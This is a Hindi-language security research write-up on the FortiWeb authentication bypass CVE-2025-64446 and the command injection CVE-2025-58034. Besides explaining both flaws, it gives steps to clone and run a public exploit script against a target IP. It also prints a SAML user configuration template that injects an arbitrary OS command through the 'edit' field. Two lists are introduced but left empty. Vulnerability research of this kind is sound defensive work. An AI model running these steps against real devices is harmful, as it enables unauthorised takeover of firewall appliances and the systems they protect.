
Fortinet FortiWeb कमजोरियों पर सुरक्षा अनुसंधान (CVE-2025-64446, CVE-2025-58034)
Fortinet FortiWeb एक वेब एप्लिकेशन फ़ायरवॉल (WAF) उपकरण है जो उद्यम प्रणालियों में व्यापक रूप से तैनात किया जाता है ताकि वेब अनुप्रयोगों को सामान्य खतरों से बचाया जा सके।
चूंकि FortiWeb अक्सर केंद्रीय सुरक्षा परत में स्थित होता है, प्रमाणीकरण या ऑपरेटिंग सिस्टम कमांड निष्पादन से संबंधित भेद्यताएं पीछे के संपूर्ण बुनियादी ढांचे को गंभीर रूप से प्रभावित कर सकती हैं। वर्ष 2025 में, FortiWeb पर दो गंभीर भेद्यताएं घोषित की गईं:
CVE-2025-64446 – सापेक्ष पथ ट्रैवर्सल के माध्यम से प्रमाणीकरण बाईपास
CVE-2025-58034 – प्रमाणित संदर्भ में OS कमांड इंजेक्शन
CVE-2025-64446 इस तथ्य से उत्पन्न होता है कि FortiWeb प्रमाणीकरण तंत्र लागू करने से पहले पथ तक पहुंच को कसकर संसाधित और जांच नहीं करता है।
विशेष रूप से:
यह त्रुटि इस ओर ले जाती है कि कुछ प्रशासनिक एंडपॉइंट बिना वैध प्रमाणीकरण के एक्सेस किए जा सकते हैं।
CVE-2025-58034 इसलिए उत्पन्न होता है क्योंकि FortiWeb ऑपरेटिंग सिस्टम कमांड को कॉल करने की प्रक्रिया में उपयोगकर्ता इनपुट डेटा को असुरक्षित रूप से संसाधित करता है।
मुख्य कारणों में शामिल हैं:
इस भेद्यता के लिए प्रमाणित संदर्भ की आवश्यकता है, लेकिन कमांड निष्पादन से संबंधित होने के कारण इसमें उच्च जोखिम स्तर है।
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034
Python वर्चुअल वातावरण (venv) का उपयोग प्रत्येक प्रोजेक्ट के लिए एक स्वतंत्र कार्य वातावरण बनाने के लिए किया जाता है, जो मुख्य Python सिस्टम से निर्भरता को अलग करने में मदद करता है। यह लाइब्रेरी संस्करण संघर्षों से बचता है, कार्य वातावरण की स्थिरता सुनिश्चित करता है और सिस्टम पर प्रभाव को सीमित करता है।
python3 -m venv venv source venv/bin/activate
pip install -r requirements.txt
python exploit.py <target_ip>

config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
CVE-2025-58034 भेद्यता इसलिए उत्पन्न होती है क्योंकि FortiWeb कुछ कॉन्फ़िगरेशन फ़ील्ड में इनपुट डेटा को कसकर नियंत्रित नहीं करता है, विशेष रूप से edit "" कमांड के माध्यम से पारित मान। समस्या: यह मान एक कॉन्फ़िगरेशन स्ट्रिंग के रूप में संसाधित होता है फिर इसे आंतरिक ऑपरेटिंग सिस्टम कमांड में डाला जाता है विशेष वर्णों को पूरी तरह से फ़िल्टर या एस्केप नहीं किया जाता इससे संभावना है कि कॉन्फ़िगरेशन डेटा सीधे निष्पादित ऑपरेटिंग सिस्टम कमांड को प्रभावित कर सकता है, जिससे OS कमांड इंजेक्शन त्रुटि उत्पन्न होती है।